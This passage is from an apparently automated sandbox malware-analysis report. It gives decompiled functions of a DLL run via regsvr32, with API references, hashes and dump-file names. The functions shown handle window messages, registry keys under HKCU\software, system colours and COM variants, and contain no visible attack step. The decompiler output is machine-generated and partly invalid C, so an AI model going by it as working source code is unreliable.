ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFF2E,00000001), ref: 6EB46B90
ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFEB3,00000001), ref: 6EB46B9D
ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFE0C,00000001), ref: 6EB46BAA
CreateSolidBrush.GDI32(005B5BE3), ref: 6EB46BBF
CreateBitmap.GDI32(00000008,00000008,00000001,00000001,?), ref: 6EB46C2A
CreateBrushIndirect.GDI32(00000003), ref: 6EB46C60

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: AdjustColorLuma$Create$Brush$BitmapIndirectSolid
String ID:
API String ID: 4192194151-0
Opcode ID: 7975c8698e0fabdc2ce8b4c02fd3d0f95ab706201c0638bfd095fda86f373436
Instruction ID: 0bfabf5321cb83a4ee3390137002eec126dd9901751c34f32627950824a8806d
Opcode Fuzzy Hash: 7975c8698e0fabdc2ce8b4c02fd3d0f95ab706201c0638bfd095fda86f373436
Instruction Fuzzy Hash: 4C416971628781DBC714DF69C880A5BBBE5FF99704F000E2EF19AD76A0EB709904CB06

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4C870 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB4C870(intOrPtr* __ecx) {
				struct HWND__* _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t34;
				long _t43;
				struct HWND__* _t48;
				intOrPtr* _t63;
				signed int _t64;
				void* _t69;
				intOrPtr _t71;
				intOrPtr* _t72;

				_t72 = __ecx;
				_t69 = E6EB522D1();
				if(_t69 != 0) {
					if( *((intOrPtr*)(_t69 + 0x20)) == __ecx) {
						 *((intOrPtr*)(_t69 + 0x20)) = 0;
					}
					if( *((intOrPtr*)(_t69 + 0x24)) == _t72) {
						 *((intOrPtr*)(_t69 + 0x24)) = 0;
					}
				}
				_t63 =  *((intOrPtr*)(_t72 + 0x48));
				if(_t63 != 0) {
					 *((intOrPtr*)( *_t63 + 0x50))();
					 *((intOrPtr*)(_t72 + 0x48)) = 0;
				}
				_t64 =  *(_t72 + 0x4c);
				if(_t64 != 0) {
					 *((intOrPtr*)( *_t64 + 4))(1);
				}
				 *(_t72 + 0x4c) =  *(_t72 + 0x4c) & 0x00000000;
				_t83 =  *(_t72 + 0x3c) & 1;
				if(( *(_t72 + 0x3c) & 1) != 0) {
					_t71 =  *((intOrPtr*)(E6EB53D53(1, _t64, _t69, _t72, _t83) + 0x3c));
					if(_t71 != 0) {
						_t85 =  *(_t71 + 0x20);
						if( *(_t71 + 0x20) != 0) {
							E6EB65E80(_t71,  &_v52, 0, 0x30);
							_t48 =  *(_t72 + 0x20);
							_v44 = _t48;
							_v40 = _t48;
							_v52 = 0x2c;
							_v48 = 1;
							SendMessageA( *(_t71 + 0x20), 0x405, 0,  &_v52);
						}
					}
				}
				_t34 = GetWindowLongA( *(_t72 + 0x20), 0xfffffffc);
				_t61 = _t34;
				E6EB4C687(_t72, _t85);
				if(GetWindowLongA( *(_t72 + 0x20), 0xfffffffc) == _t34) {
					_t43 =  *( *((intOrPtr*)( *_t72 + 0xf8))());
					if(_t43 != 0) {
						SetWindowLongA( *(_t72 + 0x20), 0xfffffffc, _t43);
					}
				}
				E6EB4C7B6(_t61, _t72);
				return  *((intOrPtr*)( *_t72 + 0x11c))();
			}

0x6eb4c87b
0x6eb4c882
0x6eb4c888
0x6eb4c88d
0x6eb4c8b2
0x6eb4c8b2
0x6eb4c8b8
0x6eb4c8ba
0x6eb4c8ba
0x6eb4c8b8
0x6eb4c8bd
0x6eb4c8c2
0x6eb4c8c6
0x6eb4c8c9
0x6eb4c8c9
0x6eb4c8cc
0x6eb4c8d4
0x6eb4c8d9
0x6eb4c8d9
0x6eb4c8dc
0x6eb4c8e0
0x6eb4c8e3
0x6eb4c8ea
0x6eb4c8ef
0x6eb4c8f1
0x6eb4c8f5
0x6eb4c8ff
0x6eb4c904
0x6eb4c90a
0x6eb4c90d
0x6eb4c91e
0x6eb4c925
0x6eb4c928
0x6eb4c928
0x6eb4c8f5
0x6eb4c8ef
0x6eb4c93a
0x6eb4c93e
0x6eb4c940
0x6eb4c94f
0x6eb4c95b
0x6eb4c95f
0x6eb4c967
0x6eb4c967
0x6eb4c95f
0x6eb4c96f
0x6eb4c982

APIs

_memset.LIBCMT ref: 6EB4C8FF
SendMessageA.USER32 ref: 6EB4C928
GetWindowLongA.USER32 ref: 6EB4C93A
GetWindowLongA.USER32 ref: 6EB4C94B
SetWindowLongA.USER32(?,000000FC,?), ref: 6EB4C967

Strings

,, xrefs: 6EB4C91E

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: LongWindow$MessageSend_memset
String ID: ,
API String ID: 2997958587-3772416878
Opcode ID: 99448889f85a630b823998f384117fa612021e549fdf37b888e4a5b5a213f697
Instruction ID: ad83bcd9de93a66be1338004ddecc2e2b8e142ecd8a64669b94f863b26e93526
Opcode Fuzzy Hash: 99448889f85a630b823998f384117fa612021e549fdf37b888e4a5b5a213f697
Instruction Fuzzy Hash: F531BF31610695EFEB119FF8C884AADBBF8FF08714B110929E5569BA95EB30E408CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6EB56A31 Relevance: 10.6, APIs: 7, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EB56A31(intOrPtr __ecx) {
				struct HWND__* _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t15;
				long _t16;
				struct HWND__* _t17;
				void* _t18;
				struct HWND__* _t19;
				void* _t30;

				_t24 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_v12 = __ecx;
				_t15 = GetCapture();
				_t30 = SendMessageA;
				while(1) {
					_v8 = _t15;
					if(_t15 == 0) {
						break;
					}
					_t16 = SendMessageA(_v8, 0x365, 0, 0);
					__eflags = _t16;
					if(__eflags == 0) {
						_t15 = E6EB4DA58(_t24, 0x365, __eflags, _v8);
						continue;
					}
					L15:
					return _t16;
				}
				_t17 = GetFocus();
				while(1) {
					_v8 = _t17;
					if(_t17 == 0) {
						break;
					}
					_t16 = SendMessageA(_v8, 0x365, 0, 0);
					__eflags = _t16;
					if(__eflags == 0) {
						_t17 = E6EB4DA58(_t24, 0x365, __eflags, _v8);
						continue;
					}
					goto L15;
				}
				_t25 = _v12;
				_t18 = E6EB4DAA2(0, _v12, 0x365);
				_t34 = _t18;
				if(_t18 == 0) {
					_t18 = E6EB48BA4(0, _t25, 0x365, _t30, _t34);
				}
				_t19 = GetLastActivePopup( *(_t18 + 0x20));
				while(1) {
					_v8 = _t19;
					_push(0);
					if(_t19 == 0) {
						break;
					}
					_t16 = SendMessageA(_v8, 0x365, 0, ??);
					__eflags = _t16;
					if(__eflags == 0) {
						_t19 = E6EB4DA58(_t25, 0x365, __eflags, _v8);
						continue;
					}
					goto L15;
				}
				_t16 = SendMessageA( *(_v12 + 0x20), 0x111, 0xe147, ??);
				goto L15;
			}

0x6eb56a31
0x6eb56a36
0x6eb56a37
0x6eb56a3b
0x6eb56a3e
0x6eb56a44
0x6eb56a67
0x6eb56a67
0x6eb56a6c
0x00000000
0x00000000
0x6eb56a59
0x6eb56a5b
0x6eb56a5d
0x6eb56a62
0x00000000
0x6eb56a62
0x6eb56ada
0x6eb56ade
0x6eb56ade
0x6eb56a6e
0x6eb56a8a
0x6eb56a8a
0x6eb56a8f
0x00000000
0x00000000
0x6eb56a7c
0x6eb56a7e
0x6eb56a80
0x6eb56a85
0x00000000
0x6eb56a85
0x00000000
0x6eb56a80
0x6eb56a91
0x6eb56a94
0x6eb56a99
0x6eb56a9b
0x6eb56a9d
0x6eb56a9d
0x6eb56aa5
0x6eb56ac0
0x6eb56ac0
0x6eb56ac3
0x6eb56ac6
0x00000000
0x00000000
0x6eb56ab2
0x6eb56ab4
0x6eb56ab6
0x6eb56abb
0x00000000
0x6eb56abb
0x00000000
0x6eb56ab6
0x6eb56ad8
0x00000000

APIs

GetCapture.USER32 ref: 6EB56A3E
SendMessageA.USER32 ref: 6EB56A59
GetFocus.USER32 ref: 6EB56A6E
SendMessageA.USER32 ref: 6EB56A7C
GetLastActivePopup.USER32(?), ref: 6EB56AA5
SendMessageA.USER32 ref: 6EB56AB2

Part of subcall function 6EB4DA58: GetWindowLongA.USER32 ref: 6EB4DA7E
Part of subcall function 6EB4DA58: GetParent.USER32(?), ref: 6EB4DA8C

SendMessageA.USER32 ref: 6EB56AD8

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: MessageSend$ActiveCaptureFocusLastLongParentPopupWindow
String ID:
API String ID: 3338174999-0
Opcode ID: de7a52e8cba26205e3b33bd79cc2927cde5f8a4ce63e817cc07967ec5e5f2a21
Instruction ID: 1edb66caec03c81fad5dbae8e5ac0b2bd950dfaec3729396ca4b869a47f1919a
Opcode Fuzzy Hash: de7a52e8cba26205e3b33bd79cc2927cde5f8a4ce63e817cc07967ec5e5f2a21
Instruction Fuzzy Hash: B61160B0924199FFDF50AFE1CE85C9E7E7DEF41348B104475E601A2228E7318E10AFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB568CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 66
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB568CD(intOrPtr __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				int _v20;
				intOrPtr _v24;
				intOrPtr _t32;

				_t32 = __ecx;
				_v24 = __ecx;
				_v16 = 0;
				_v8 = 0;
				_v12 = 0;
				if(RegOpenKeyExA(0x80000001, "software", 0, 0x2001f,  &_v8) == 0 && RegCreateKeyExA(_v8,  *(_t32 + 0x54), 0, 0, 0, 0x2001f, 0,  &_v12,  &_v20) == 0) {
					RegCreateKeyExA(_v12,  *(_v24 + 0x68), 0, 0, 0, 0x2001f, 0,  &_v16,  &_v20);
				}
				if(_v8 != 0) {
					RegCloseKey(_v8);
				}
				if(_v12 != 0) {
					RegCloseKey(_v12);
				}
				return _v16;
			}

0x6eb568ea
0x6eb568f1
0x6eb568f4
0x6eb568f7
0x6eb568fa
0x6eb56905
0x6eb5693c
0x6eb5693c
0x6eb56947
0x6eb5694c
0x6eb5694c
0x6eb56951
0x6eb56956
0x6eb56956
0x6eb5695f

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?), ref: 6EB568FD
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 6EB56920
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 6EB5693C
RegCloseKey.ADVAPI32(?), ref: 6EB5694C
RegCloseKey.ADVAPI32(?), ref: 6EB56956

Strings

software, xrefs: 6EB568E5

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: d64634d02a2fa2aa26e2294749aa673ee9678e375df3325fc34b0bfdd8696eff
Instruction ID: e3eb66e4ec2a7afdb5bcd307e7228e8c8667d6814b668eeaf5651c0720832d4d
Opcode Fuzzy Hash: d64634d02a2fa2aa26e2294749aa673ee9678e375df3325fc34b0bfdd8696eff
Instruction Fuzzy Hash: 2111E372900199FB8B21DEDACD88CDFBFBDEFC9710B1100AAE514A2215D6319A54DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB54528 Relevance: 10.5, APIs: 7, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB54528(void* __ecx) {
				struct HBRUSH__* _t14;
				void* _t18;

				_t18 = __ecx;
				 *((intOrPtr*)(_t18 + 0x28)) = GetSysColor(0xf);
				 *((intOrPtr*)(_t18 + 0x2c)) = GetSysColor(0x10);
				 *((intOrPtr*)(_t18 + 0x30)) = GetSysColor(0x14);
				 *((intOrPtr*)(_t18 + 0x34)) = GetSysColor(0x12);
				 *((intOrPtr*)(_t18 + 0x38)) = GetSysColor(6);
				 *((intOrPtr*)(_t18 + 0x24)) = GetSysColorBrush(0xf);
				_t14 = GetSysColorBrush(6);
				 *(_t18 + 0x20) = _t14;
				return _t14;
			}

0x6eb54534
0x6eb5453a
0x6eb54541
0x6eb54548
0x6eb5454f
0x6eb5455c
0x6eb54563
0x6eb54566
0x6eb54569
0x6eb5456d

APIs

GetSysColor.USER32(0000000F), ref: 6EB54536
GetSysColor.USER32(00000010), ref: 6EB5453D
GetSysColor.USER32(00000014), ref: 6EB54544
GetSysColor.USER32(00000012), ref: 6EB5454B
GetSysColor.USER32(00000006), ref: 6EB54552
GetSysColorBrush.USER32(0000000F), ref: 6EB5455F
GetSysColorBrush.USER32(00000006), ref: 6EB54566

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: d2dd2b856c6e8102aecbf07ad52b2b09e5774b051cf63da60747af6c084d124c
Instruction ID: 8093ae142b8feed7038ed781b9af8ca09443fbbcaa3fb38df8c1c0461c301bad
Opcode Fuzzy Hash: d2dd2b856c6e8102aecbf07ad52b2b09e5774b051cf63da60747af6c084d124c
Instruction Fuzzy Hash: 8EF01C719407489BDB30BF768D49B47BAE1FFC4B10F02092EE2858BA90E6B6E441DF40

Uniqueness

Uniqueness Score: -1.00%

Function 6EB618E8 Relevance: 9.3, APIs: 6, Instructions: 256
stringCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6EB618E8(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				CHAR* _t121;
				int _t122;
				CHAR* _t127;
				CHAR* _t135;
				CHAR* _t140;
				signed int _t141;
				CHAR* _t144;
				CHAR* _t148;
				CHAR* _t151;
				signed short _t154;
				signed int _t156;
				signed int _t160;
				signed int _t161;
				signed int _t172;
				CHAR* _t176;
				void* _t179;
				void* _t182;
				intOrPtr _t185;
				CHAR* _t188;
				CHAR* _t189;
				int _t191;
				char* _t194;
				void* _t195;
				void* _t196;
				CHAR* _t197;
				char* _t199;
				void* _t200;
				long long _t205;

				_t200 = __eflags;
				_t185 = __edx;
				_push(0x50);
				E6EB6659A(0x6eb783a9, __ebx, __edi, __esi);
				 *((intOrPtr*)(_t196 - 0x34)) = __ecx;
				E6EB53D6C(_t196 - 0x2c, _t200,  *((intOrPtr*)(__ecx + 0x1c)));
				_t176 =  *(_t196 + 8);
				_t121 = _t176[8];
				_t187 = 0;
				 *(_t196 - 4) = 0;
				 *(_t196 - 0x19) = 0;
				 *(_t196 - 0x18) = _t121;
				if(_t121 == 0) {
					 *(_t196 - 0x18) = _t196 - 0x19;
				}
				_t122 = lstrlenA( *(_t196 - 0x18));
				_t202 =  *(_t196 + 0xc) & 0x0000000c;
				_t191 = _t122;
				 *(_t196 - 0x20) = _t176[0x10];
				 *(_t196 - 0x24) = _t176[0xc] & 0x0000ffff;
				if(( *(_t196 + 0xc) & 0x0000000c) == 0) {
					L11:
					_t192 =  *(_t196 + 0x14);
					_push( *(_t192 + 8) << 4);
					_t127 = E6EB48E82(_t176, _t185, _t187, _t192, __eflags);
					_pop(_t179);
					__eflags = _t127;
					if(_t127 != 0) {
						_t192 =  *(_t192 + 8);
						__eflags = _t192 - 0x7ffffff;
						if(_t192 > 0x7ffffff) {
							goto L12;
						}
						_t193 = _t192 << 4;
						E6EB66B00(_t192 << 4);
						 *(_t196 - 0x10) = _t197;
						 *(_t196 - 0x30) = _t197;
						E6EB65E80(_t187,  *(_t196 - 0x30), _t187, _t192 << 4);
						_t199 =  &(_t197[0xc]);
						_t187 = E6EB61096(_t179, _t187, _t193,  *(_t196 - 0x18),  *(_t196 - 0x24));
						_t49 =  &(_t187[8]); // 0x10
						_t192 = _t49;
						_push(_t49);
						_t135 = E6EB48E82(_t176, _t185, _t187, _t49, __eflags);
						__eflags = _t135;
						if(_t135 == 0) {
							L4:
							 *(_t196 - 4) =  *(_t196 - 4) | 0xffffffff;
							if( *(_t196 - 0x28) == 0) {
								L7:
								L55:
								return E6EB665F6(_t176, _t187, _t192);
							}
							_push( *((intOrPtr*)(_t196 - 0x2c)));
							_push(0);
							L6:
							E6EB53579();
							goto L7;
						}
						E6EB66B00(_t192);
						 *(_t196 - 0x10) = _t199;
						_t176 = 0;
						_t194 = _t199;
						 *((intOrPtr*)(_t196 - 0x58)) = 0x6eb7c160;
						 *((intOrPtr*)(_t196 - 0x54)) = 0;
						 *((intOrPtr*)(_t196 - 0x48)) = 0;
						 *((intOrPtr*)(_t196 - 0x4c)) = 0;
						 *((intOrPtr*)(_t196 - 0x50)) = 0;
						_push(_t196 - 0x58);
						_push( *(_t196 - 0x30));
						_push( *((intOrPtr*)(_t196 + 0x18)));
						 *(_t196 - 4) = 1;
						_push( *(_t196 + 0x14));
						_push( *(_t196 - 0x24));
						_push(_t196 - 0x44);
						_push( *(_t196 - 0x18));
						_push(_t194);
						_t140 = E6EB61604(0,  *((intOrPtr*)(_t196 - 0x34)), _t187, _t194, __eflags);
						 *(_t196 - 0x18) = _t140;
						__eflags = _t140;
						if(_t140 != 0) {
							L26:
							_t141 =  *(_t196 + 0x14);
							_t192 = 0;
							__eflags =  *(_t141 + 8);
							if( *(_t141 + 8) <= 0) {
								L29:
								__eflags =  *(_t196 - 0x18);
								_t182 = _t196 - 0x58;
								if( *(_t196 - 0x18) == 0) {
									E6EB61544(_t176, _t182, _t187);
									_t187 =  *(_t196 + 0x10);
									__eflags = _t187;
									if(_t187 == 0) {
										_t144 = ( *(_t196 - 0x24) & 0x0000ffff) - 8;
										__eflags = _t144;
										if(_t144 == 0) {
											__imp__#6(_t176);
											L52:
											 *(_t196 - 4) = 0;
											E6EB61464(_t196 - 0x58);
											 *(_t196 - 4) =  *(_t196 - 4) | 0xffffffff;
											__eflags =  *(_t196 - 0x28);
											if( *(_t196 - 0x28) != 0) {
												_push( *((intOrPtr*)(_t196 - 0x2c)));
												_push(0);
												E6EB53579();
											}
											__eflags = 0;
											goto L55;
										}
										_t148 = _t144 - 1;
										__eflags = _t148;
										if(_t148 == 0) {
											L48:
											__eflags = _t176;
											if(_t176 != 0) {
												 *((intOrPtr*)( *_t176 + 8))(_t176);
											}
											goto L52;
										}
										_t151 = _t148 - 3;
										__eflags = _t151;
										if(_t151 == 0) {
											__imp__#9(_t196 - 0x44);
											goto L52;
										}
										__eflags = _t151 != 1;
										if(_t151 != 1) {
											goto L52;
										}
										goto L48;
									}
									_t154 =  *(_t196 - 0x24);
									 *_t187 = _t154;
									_t156 = (_t154 & 0x0000ffff) + 0xfffffffe;
									__eflags = _t156 - 0x13;
									if(_t156 > 0x13) {
										goto L52;
									}
									switch( *((intOrPtr*)(_t156 * 4 +  &M6EB61C00))) {
										case 0:
											 *((short*)(__edi + 8)) = __bx;
											goto L52;
										case 1:
											 *((intOrPtr*)(__edi + 8)) = __ebx;
											goto L52;
										case 2:
											 *((intOrPtr*)(__edi + 8)) =  *((intOrPtr*)(__ebp - 0x44));
											goto L52;
										case 3:
											 *((long long*)(__edi + 8)) =  *((long long*)(__ebp - 0x44));
											goto L52;
										case 4:
											__eax =  *((intOrPtr*)(__ebp - 0x44));
											 *((intOrPtr*)(__edi + 8)) =  *((intOrPtr*)(__ebp - 0x44));
											__eax =  *((intOrPtr*)(__ebp - 0x40));
											 *((intOrPtr*)(__edi + 0xc)) =  *((intOrPtr*)(__ebp - 0x40));
											goto L52;
										case 5:
											__eax = 0;
											__eflags = __bx;
											0 | __eflags == 0x00000000 = (0 | __eflags == 0x00000000) - 1;
											 *((short*)(__edi + 8)) = __ax;
											goto L52;
										case 6:
											__esi = __ebp - 0x44;
											asm("movsd");
											asm("movsd");
											asm("movsd");
											asm("movsd");
											goto L52;
										case 7:
											goto L52;
										case 8:
											_t187[4] = _t176;
											goto L52;
									}
								}
								 *(_t196 - 4) = 0;
								E6EB61464(_t182);
								 *(_t196 - 4) =  *(_t196 - 4) | 0xffffffff;
								__eflags =  *(_t196 - 0x28);
								if( *(_t196 - 0x28) != 0) {
									_push( *((intOrPtr*)(_t196 - 0x2c)));
									_push(0);
									E6EB53579();
								}
								goto L55;
							}
							_t188 =  *(_t196 - 0x30);
							do {
								__imp__#9(_t188);
								_t160 =  *(_t196 + 0x14);
								_t192 = _t192 + 1;
								_t188 =  &(_t188[0x10]);
								__eflags = _t192 -  *((intOrPtr*)(_t160 + 8));
							} while (_t192 <  *((intOrPtr*)(_t160 + 8)));
							goto L29;
						}
						_t161 =  *(_t196 - 0x24) & 0x0000ffff;
						_push(_t187);
						_push(_t194);
						_push( *(_t196 - 0x20));
						 *(_t196 - 4) = 2;
						__eflags = _t161 - 4;
						if(_t161 == 4) {
							E6EB634B4();
							 *((intOrPtr*)(_t196 - 0x34)) = _t205;
							 *((intOrPtr*)(_t196 - 0x44)) =  *((intOrPtr*)(_t196 - 0x34));
							L25:
							 *(_t196 - 4) = 1;
							goto L26;
						}
						__eflags = _t161 - 5;
						if(_t161 == 5) {
							L23:
							E6EB634B4();
							 *((long long*)(_t196 - 0x44)) = _t205;
							goto L25;
						}
						__eflags = _t161 - 7;
						if(_t161 == 7) {
							goto L23;
						}
						__eflags = _t161 + 0xffffffec - 1;
						if(_t161 + 0xffffffec > 1) {
							_t176 = E6EB634B4();
						} else {
							 *((intOrPtr*)(_t196 - 0x44)) = E6EB634B4();
							 *((intOrPtr*)(_t196 - 0x40)) = _t185;
						}
						goto L25;
					}
					L12:
					 *(_t196 - 4) =  *(_t196 - 4) | 0xffffffff;
					__eflags =  *(_t196 - 0x28) - _t187;
					if( *(_t196 - 0x28) == _t187) {
						goto L7;
					}
					_push( *((intOrPtr*)(_t196 - 0x2c)));
					_push(_t187);
					goto L6;
				}
				_t19 = _t191 + 3; // 0x3
				_t187 = _t19;
				_push(_t19);
				if(E6EB48E82(_t176, _t185, _t19, _t191, _t202) != 0) {
					E6EB66B00(_t187);
					 *(_t196 - 0x10) = _t197;
					_t189 = _t197;
					_t26 = _t191 + 3; // 0x3
					E6EB48D02(_t189, _t191, _t189, _t26,  *(_t196 - 0x18), _t191);
					_t172 = _t176[0xc] & 0x0000ffff;
					_t197 =  &(_t197[0x10]);
					 *(_t196 - 0x18) = _t189;
					__eflags = _t172 - 8;
					if(_t172 == 8) {
						_t172 = 0xe;
					}
					 *(_t196 - 0x24) =  *(_t196 - 0x24) & 0x00000000;
					_t189[_t191] = 0xff;
					_t195 = _t191 + 1;
					_t189[_t195] = _t172;
					_t189[_t195 + 1] = 0;
					 *(_t196 - 0x20) = _t176[0x14];
					_t187 = 0;
					__eflags = 0;
					goto L11;
				}
				goto L4;
			}

0x6eb618e8
0x6eb618e8
0x6eb618e8
0x6eb618ef
0x6eb618f4
0x6eb618fd
0x6eb61902
0x6eb61905
0x6eb61908
0x6eb6190a
0x6eb6190d
0x6eb61911
0x6eb61916
0x6eb6191b
0x6eb6191b
0x6eb61921
0x6eb61927
0x6eb6192b
0x6eb61930
0x6eb61937
0x6eb6193a
0x6eb619ae
0x6eb619ae
0x6eb619b7
0x6eb619b8
0x6eb619bd
0x6eb619be
0x6eb619c0
0x6eb619d1
0x6eb619d4
0x6eb619da
0x00000000
0x00000000
0x6eb619dc
0x6eb619e1
0x6eb619e6
0x6eb619e9
0x6eb619f1
0x6eb619f6
0x6eb61a04
0x6eb61a06
0x6eb61a06
0x6eb61a09
0x6eb61a0a
0x6eb61a10
0x6eb61a12
0x6eb6194a
0x6eb6194a
0x6eb61952
0x6eb6195e
0x6eb61bf4
0x6eb61bfc
0x6eb61bfc
0x6eb61954
0x6eb61957
0x6eb61959
0x6eb61959
0x00000000
0x6eb61959
0x6eb61a1a
0x6eb61a1f
0x6eb61a22
0x6eb61a24
0x6eb61a26
0x6eb61a2d
0x6eb61a30
0x6eb61a33
0x6eb61a36
0x6eb61a3f
0x6eb61a40
0x6eb61a46
0x6eb61a49
0x6eb61a4d
0x6eb61a50
0x6eb61a53
0x6eb61a54
0x6eb61a57
0x6eb61a58
0x6eb61a5d
0x6eb61a60
0x6eb61a62
0x6eb61abd
0x6eb61abd
0x6eb61ac0
0x6eb61ac2
0x6eb61ac5
0x6eb61add
0x6eb61add
0x6eb61ae1
0x6eb61ae4
0x6eb61b31
0x6eb61b36
0x6eb61b39
0x6eb61b3b
0x6eb61ba3
0x6eb61ba3
0x6eb61ba6
0x6eb61bcc
0x6eb61bd2
0x6eb61bd5
0x6eb61bd9
0x6eb61bde
0x6eb61be2
0x6eb61be6
0x6eb61be8
0x6eb61beb
0x6eb61bed
0x6eb61bed
0x6eb61bf2
0x00000000
0x6eb61bf2
0x6eb61ba8
0x6eb61ba8
0x6eb61ba9
0x6eb61bb3
0x6eb61bb3
0x6eb61bb5
0x6eb61bba
0x6eb61bba
0x00000000
0x6eb61bb5
0x6eb61bab
0x6eb61bab
0x6eb61bae
0x6eb61bc3
0x00000000
0x6eb61bc3
0x6eb61bb0
0x6eb61bb1
0x00000000
0x00000000
0x00000000
0x6eb61bb1
0x6eb61b3d
0x6eb61b40
0x6eb61b46
0x6eb61b49
0x6eb61b4c
0x00000000
0x00000000
0x6eb61b52
0x00000000
0x6eb61b5e
0x00000000
0x00000000
0x6eb61b9a
0x00000000
0x00000000
0x6eb61b75
0x00000000
0x00000000
0x6eb61b7d
0x00000000
0x00000000
0x6eb61b64
0x6eb61b67
0x6eb61b6a
0x6eb61b6d
0x00000000
0x00000000
0x6eb61b82
0x6eb61b84
0x6eb61b8a
0x6eb61b8b
0x00000000
0x00000000
0x6eb61b91
0x6eb61b94
0x6eb61b95
0x6eb61b96
0x6eb61b97
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb61b59
0x00000000
0x00000000
0x6eb61b52
0x6eb61ae6
0x6eb61aea
0x6eb61aef
0x6eb61af3
0x6eb61af7
0x6eb61af9
0x6eb61afc
0x6eb61afe
0x6eb61afe
0x00000000
0x6eb61b03
0x6eb61ac7
0x6eb61aca
0x6eb61acb
0x6eb61ad1
0x6eb61ad4
0x6eb61ad5
0x6eb61ad8
0x6eb61ad8
0x00000000
0x6eb61aca
0x6eb61a64
0x6eb61a68
0x6eb61a69
0x6eb61a6a
